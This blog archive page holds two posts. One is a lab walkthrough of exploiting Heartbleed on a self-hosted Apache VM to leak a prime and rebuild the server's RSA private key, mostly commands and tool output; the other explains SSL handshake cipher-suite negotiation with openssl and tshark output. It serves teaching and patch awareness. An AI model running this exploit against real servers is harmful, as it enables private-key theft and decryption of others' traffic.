Tag Archives: ssl handshake

Heartbleed – Got prime number?

I would like to demonstrate a hand’s on scenario that will allow one to have a better practical understanding on how someone could exploit the OpenSSL bug known as Heartbleed to retrieve the server RSA private key which is used to encrypt the SSL/TLS communications. The environment consists of 2 virtual machines. The victim is running Ubuntu 12.04-4  and the Evil is running Kali Linux. On the victim machine I installed Apache with SSL and created a self signed certificate by issuing the following command:.

root@ubuntu:~#openssl req -x509 -nodes -days 365 -newkey rsa:1024 
-keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt

The versions of Apache and OpenSSL are as follow:

root@ubuntu:~# uname -srvnmapi
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP
 Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu:~# openssl version -a
OpenSSL 1.0.1 14 Mar 2012
root@ubuntu:~# apache2ctl status
Server Version: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
mod_ssl/2.2.22 OpenSSL/1.0.1

On the Evil machine I download the Heartbleed exploit tool that was initially created by Jared Stafford and later modified by SensePost. This modified version of the Heartbleat exploit tool allows to dump 65k of data from the server heap memory. This 65k of data among other sensitive information might contain information about the private RSA key used in the SSL/TLS protocol.

In order to give you more background, essentially, the difficulty of RSA rests on the mathematical problem of factoring large numbers into its prime factors.  When generating RSA keys the system starts by generating two large primes, P and Q, and compute their product N = PxQ. N is called the modulos. The following picture shows the various components that constitute a private RSA key and a X.509 certificate with a RSA public key.

RSA

The exploit tool is able to search and extract one of the prime numbers from the leaked data. Because the modulus is public, if you know one prime number you can deduct the other one.  We start by downloading the public certificate from the website and saving is as apache.crt

root@kali# echo | openssl s_client -connect 192.168.1.13:443 2>/dev/null | openssl x509
-----BEGIN CERTIFICATE-----
MIIDIDCCAomgAwIBAgIJAKeTWVOzYsE+MA0GCSqGSIb3DQEBBQUAMIGoMQswCQYD
VQQGEwJQVDEPMA0GA1UECAwGTGlzYm9hMQ8wDQYDVQQHDAZMaXNib2ExEzARBgNV
BAoMCkNvdW50IFVwb24xETAPBgNVBAsMCFNlY3VyaXR5MSIwIAYDVQQDDBl3d3cu
Y291bnR1cG9uc2VjdXJpdHkuY29tMSswKQYJKoZIhvcNAQkBFhxscm9jaGFAY291
bnR1cG9uc2VjdXJpdHkuY29tMB4XDTE0MDQxNDE5NTcwNVoXDTE1MDQxNDE5NTcw
NVowgagxCzAJBgNVBAYTAlBUMQ8wDQYDVQQIDAZMaXNib2ExDzANBgNVBAcMBkxp
c2JvYTETMBEGA1UECgwKQ291bnQgVXBvbjERMA8GA1UECwwIU2VjdXJpdHkxIjAg
BgNVBAMMGXd3dy5jb3VudHVwb25zZWN1cml0eS5jb20xKzApBgkqhkiG9w0BCQEW
HGxyb2NoYUBjb3VudHVwb25zZWN1cml0eS5jb20wgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBANoYD4JBBUsRwsKFsm55tmsL/MgRN7kTTxkto4PTR1fVEVqhZSBs
XB9bdR+d3EDnvVWi2fUN5lBFHlD+YK+gy1W/x8D1gfgYuHpvm1rYaiWFP2ZFoggG
NUcwr2sgKx/wshTnAgJIOFf74JbwXQc7YCtVaZID4cR2t9plv4COGf4hAgMBAAGj
UDBOMB0GA1UdDgQWBBT3ExDfxRcNeEBd37mUFLirSXe4QjAfBgNVHSMEGDAWgBT3
ExDfxRcNeEBd37mUFLirSXe4QjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUA
A4GBAL6cmdwj8opTjqt3HgZ5RcneNCpkrgAF7+AEm8F+Sg/7j2wl3Pl5nbGBDDGX
LjS1j87GkhxtKJPhvNcl/mpL3/AlaVilCsBmtCzHX+eKOsibizSraat1/20DHy56
b+4Z42rBJ3xZE2eykky6p+Avog9RZjua7/pEz/0e/o4r915i
-----END CERTIFICATE-----

We then launch the tool. As parameters we specify the IP address of the vulnerable website and its public certificate that was retrieved with the previous command. The tool uses the public certificate to retrieve its modulus which is then used to search for a prime number.

root@kali# ./heartbeat.py 192.168.1.13 apache.crt
Using modulus: DA180F8241054B11C2C285B26E79B66B0BFCC81137B9134F192DA383D3
4757D5115AA165206C5C1F5B751F9DDC40E7BD55A2D9F50DE650451E50FE60AFA0CB55BFC
7C0F581F818B87A6F9B5AD86A25853F6645A20806354730AF6B202B1FF0B214E702024838
57FBE096F05D073B602B55699203E1C476B7DA65BF808E19FE21
Using key size: 64
Scanning 192.168.1.13 on port 443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server sent server hello done
Server TLS version was 1.2
Sending heartbeat request...
Got length: 16384
 ... received message: type = 24, ver = 0302, length = 65551
Received heartbeat response:
Got result:
133549233346294978773221965530990175969878245116491771849452351001024135
067393744354025499347083676843923388568161993257203947857711380070562074
61090554397
found prime: 0xfefd816751054d08836aca2c5cfce8bc68cfc22cfc13b706ecb59ddb9
0d1bd9742ca3b85f28c55c49fb57674420ea87d08b7039b029bbb842fbde9dcb903721dL

Winner winner chicken dinner! We got a prime number.  Now that we know one of the primes’ number and the modulus we just need to compute the other prime number and generate the private key. To compute the second prime number we just divide the modulus by the prime number. Then we execute a tool called rsatool made by Joerie de Gram which can calculate the key given two prime numbers.

For the sake of brevity we will skip these steps but basically you can do it all in the command line as shown in the following figure. Or you could use CrypTool on windows.

primenumber

Following that we just need to execute the rsatool and provide the two prime numbers in order to generate the private key. The rsatool can be downloaded here. You might need to install Gmpy but the detailed instructions to do that are here.

root@kali# python rsatool.py -p 1335492333462949787732219655309901759698
782451164917718494523510010241350673937443540254993470836768439233885681
6199325720394785771138007056207461090554397 -q 1146774128500603561764050
745367493835523702158740387838096036303540757250331031911005216535720559
9697566790924903103501535799885761545468408467346567363797 -n 1531508056
826211681974537330840356849277758921626835581250122250838514123615018183
396077094172638075116313068392469570174902856192052912011542053612442154
616797085755092200877453744373797466581474136422124607072662096594483438
272246656487606364948421705699136573393920499818962351507943024737552870
65516965409 -o apache-recovered.key
Using (p, q) to initialise RSA instance
Saving PEM as apache-recovered.key

Now that we got the private key how can we test it that is valid? Among others, one thing we could easily do is to digitally sign a file with the original private key and verify its signature with the recovered public key.

Let’s first sign a file in the victim machine.

root@ubuntu# echo "Sign this piece of information" > filename
root@ubuntu# openssl dgst -md5 -sign apache.key -out signature filename

Then in the Evil system we could verify it using the recovered public key which means we possess the private key.

root@kali# openssl rsa -in apache-recovered.key -pubout > apache-recovered.pub.key
root@kali# openssl dgst -md5 -verify apache-recovered.pub.key -signature signature filename
Verified OK

Among other things we could pull of a man-in-the-middle attack and decrypt the SSL traffic using the recovered key. As you could see almost no knowledge is needed to run this exploit against a vulnerable server but its consequences are severe. For sure many companies are still recovering from the OpenSSL vulnerability and many others will benefit from doing lessons learned on how to improve their incident handling capability in order to be better prepared for such worst case scenarios. This has been a serious bug and you might want to consider changing your passwords in case you have an account in the following sites. If you own a website or any other service that uses OpenSSL like OpenVPN you want to patch it now! Certificates and keys at risk of compromise should be revoked and replaced. One interesting consequence of this bug was the amount of certificates that have been revoked in the last days.

Tagged , , , , ,

SSL Handshake Protocol

Some years ago during the recruitment phase for a position in professional services. At the end of the technical interview, the practice manager asked if I could provide him by email a little research about the SSL handshake (specific to Web applications) and let him know about the decision on cipher suites, which side (client or server) makes the decision. Basically he wanted to know who makes the decision about which cipher suite to use and details behind it.

I must say I really liked the challenge because it allowed me to do research and build documentation about security matters. So I made a small investigation using one or two good books and produced a three pages document with the technical details.

This is what this blog entry is about. I would like to share with not the three pages document but a short technical summary about the answer I provided on the SSL handshake protocol and the CipherSuite parameter decision. Plus a practical illustration on the usage of the SSL handshake protocol and the cipher suite decision process using openssl and tshark tools.

In short, the most difficult part of SSL stack is the handshake protocol. During the phase 1 of the handshake protocol, where it’s established the security capabilities, the exchange is initiated by the client who sends a client_hello message with a set of parameters. One of those parameters is the CipherSuite which is a list that contains the combinations of cryptographic algorithms supported by the client, in decreasing order of preference. Each element of the list (each cipher suite) defines both a key exchange algorithm and a CipherSpec.

After sending the client_hello message, the client waits for the server_hello message, which containts the same parameters as the client_hello message. Again, here one of the parameters is the CipherSuite, which in the server_hello message contains the single cipher suite selected by the server from those proposed by the client. With this two messages the phase 1 is established and the SSL establishments continues with the phase 2 which is the Server Authentication and Key Exchange. Then the phase 3 for Client Authentication and Key Exchange. Finally the phase 4 to complete the handshake and begin to exchange application layer data.

In short and to make a direct answer to his question: the cipher suits are proposed by the client and decided by the server.

Now, the interesting part is below where a practical exercise was made to illustrate this.

Running on a Linux system I established a HTTPS connection with the host www google.com using openssl command and in parallel executed tshark to capture the packets. Some of the verbose output has been omitted to show what is truly pertinent to the SSL Handshake protocol.

In the output of the openssl command we can see the server X.509 public certificate and its parameters and that the SSL handshake protocol was accomplished using RC4-SHA as cipher and TLSv1 as protocol.

lrocha@host:~$ openssl s_client -connect www.google.com:443
 CONNECTED(00000003)
 depth=1 /C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
 verify error:num=20:unable to get local issuer certificate
 verify return:0
 ---
 Certificate chain
 0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
 i:/C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
 1 s:/C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
 i:/C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority
 ---
 Server certificate
 -----BEGIN CERTIFICATE-----
 MIIDITCCAoqgAwIBAgIQT52W2WawmStUwpV8tBV9TTANBgkqhkiG9w0BAQUFADBM
 MQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkg
 THRkLjEWMBQGA1UEAxMNVGhhd3RlIFNHQyBDQTAeFw0xMTEwMjYwMDAwMDBaFw0x
 MzA5MzAyMzU5NTlaMGgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlh
 MRYwFAYDVQQHFA1Nb3VudGFpbiBWaWV3MRMwEQYDVQQKFApHb29nbGUgSW5jMRcw
 FQYDVQQDFA53d3cuZ29vZ2xlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkC
 gYEA3rcmQ6aZhc04pxUJuc8PycNVjIjujI0oJyRLKl6g2Bb6YRhLz21ggNM1QDJy
 wI8S2OVOj7my9tkVXlqGMaO6hqpryNlxjMzNJxMenUJdOPanrO/6YvMYgdQkRn8B
 d3zGKokUmbuYOR2oGfs5AER9G5RqeC1prcB6LPrQ2iASmNMCAwEAAaOB5zCB5DAM
 BgNVHRMBAf8EAjAAMDYGA1UdHwQvMC0wK6ApoCeGJWh0dHA6Ly9jcmwudGhhd3Rl
 LmNvbS9UaGF3dGVTR0NDQS5jcmwwKAYDVR0lBCEwHwYIKwYBBQUHAwEGCCsGAQUF
 BwMCBglghkgBhvhCBAEwcgYIKwYBBQUHAQEEZjBkMCIGCCsGAQUFBzABhhZodHRw
 Oi8vb2NzcC50aGF3dGUuY29tMD4GCCsGAQUFBzAChjJodHRwOi8vd3d3LnRoYXd0
 ZS5jb20vcmVwb3NpdG9yeS9UaGF3dGVfU0dDX0NBLmNydDANBgkqhkiG9w0BAQUF
 AAOBgQAhrNWuyjSJWsKrUtKyNGadeqvu5nzVfsJcKLt0AMkQH0IT/GmKHiSgAgDp
 ulvKGQSy068Bsn5fFNum21K5mvMSf3yinDtvmX3qUA12IxL/92ZzKbeVCq3Yi7Le
 IOkKcGQRCMha8X2e7GmlpdWC1ycenlbN0nbVeSv3JUMcafC4+Q==
 -----END CERTIFICATE-----
 subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=www.google.com
 issuer=/C=ZA/O=Thawte Consulting (Pty) Ltd./CN=Thawte SGC CA
 ---
 No client certificate CA names sent
 ---
 SSL handshake has read 1772 bytes and written 307 bytes
 ---
 New, TLSv1/SSLv3, Cipher is RC4-SHA
 Server public key is 1024 bit
 Secure Renegotiation IS supported
 Compression: NONE
 Expansion: NONE
 SSL-Session:
 Protocol : TLSv1
 Cipher : RC4-SHA
 Session-ID: 8FEF40B71445984250A6658D3664CB8D391EEA43EB40CD535249FAB6EFC79F11
 Session-ID-ctx:
 Master-Key:
 8CFE3997E583BC3D9FDBCC81F3FA136DCC1872818FF9BECA6B10C64EA03D6D52C163DA470779E7D5AB23A89967A05E39
 Key-Arg : None
 Start Time: 1335093485
 Timeout : 300 (sec)
 Verify return code: 20 (unable to get local issuer certificate)

With tshark we can see that during the client_hello message the client proposes
26 cipher specs in order of preference which by its turn it’s followed by the server_hello
message which decides to use the Cipher Suite: TLS_RSA_WITH_RC4_128_SHA
(0x0005).

lrocha@host:~$ tshark -i eth0 -Vx -s0 port 443 

Secure Socket Layer 
 SSLv2 Record Layer: Client Hello
 [Version: SSL 2.0 (0x0002)] 
 Length: 119 
 Handshake Message Type: Client Hello (1) 
 Version: TLS 1.0 (0x0301) 
 Cipher Spec Length: 78 
 Session ID Length: 0 
 Challenge Length: 32 
 Cipher Specs (26 specs) Cipher Specs (26 specs)
 Cipher Spec: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x000039) 
 Cipher Spec: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x000038) 
 Cipher Spec: TLS_RSA_WITH_AES_256_CBC_SHA (0x000035) 
 Cipher Spec: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x000016) 
 Cipher Spec: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x000013) 
 Cipher Spec: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x00000a) 
 Cipher Spec: SSL2_DES_192_EDE3_CBC_WITH_MD5 (0x0700c0) 
 Cipher Spec: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x000033) 
 Cipher Spec: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x000032) 
 Cipher Spec: TLS_RSA_WITH_AES_128_CBC_SHA (0x00002f) 
 Cipher Spec: SSL2_RC2_CBC_128_CBC_WITH_MD5 (0x030080) 
 Cipher Spec: TLS_RSA_WITH_RC4_128_SHA (0x000005)
 Cipher Spec: TLS_RSA_WITH_RC4_128_MD5 (0x000004) 
 Cipher Spec: SSL2_RC4_128_WITH_MD5 (0x010080) 
 Cipher Spec: TLS_DHE_RSA_WITH_DES_CBC_SHA (0x000015) 
 Cipher Spec: TLS_DHE_DSS_WITH_DES_CBC_SHA (0x000012) 
 Cipher Spec: TLS_RSA_WITH_DES_CBC_SHA (0x000009) 
 Cipher Spec: SSL2_DES_64_CBC_WITH_MD5 (0x060040) 
 Cipher Spec: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA (0x000014) 
 Cipher Spec: TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA (0x000011) 
 Cipher Spec: TLS_RSA_EXPORT_WITH_DES40_CBC_SHA (0x000008) 
 Cipher Spec: TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 (0x000006) 
 Cipher Spec: SSL2_RC2_CBC_128_CBC_WITH_MD5 (0x040080) 
 Cipher Spec: TLS_RSA_EXPORT_WITH_RC4_40_MD5 (0x000003) 
 Cipher Spec: SSL2_RC4_128_EXPORT40_WITH_MD5 (0x020080) 
 Cipher Spec: Unknown (0x0000ff) 
 Challenge 

Secure Socket Layer 
 TLSv1 Record Layer: Handshake Protocol: Server Hello
 Content Type: Handshake (22) 
 Version: TLS 1.0 (0x0301)
 Length: 81 
 Handshake Protocol: Server Hello 
 Handshake Type: Server Hello (2) 
 Length: 77 
 Version: TLS 1.0 (0x0301) 
 Random 
 gmt_unix_time: Aug 22, 2009 07:18:05.000000000 EDT 
 random_bytes: 4abfee70b2a89e684e917c40c47054bf074028babe764af3... 
 Session ID Length: 32 
 Session ID: 8fef40b71445984250a6658d3664cb8d391eea43eb40cd53... 
 Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
 Compression Method: null (0) 
 Extensions Length: 5 
 Extension: renegotiation_info 
 Type: renegotiation_info (0xff01) 
 Length: 1 
 Data (1 byte)

Bottom line, I didn’t got the job but it was fun!

Tagged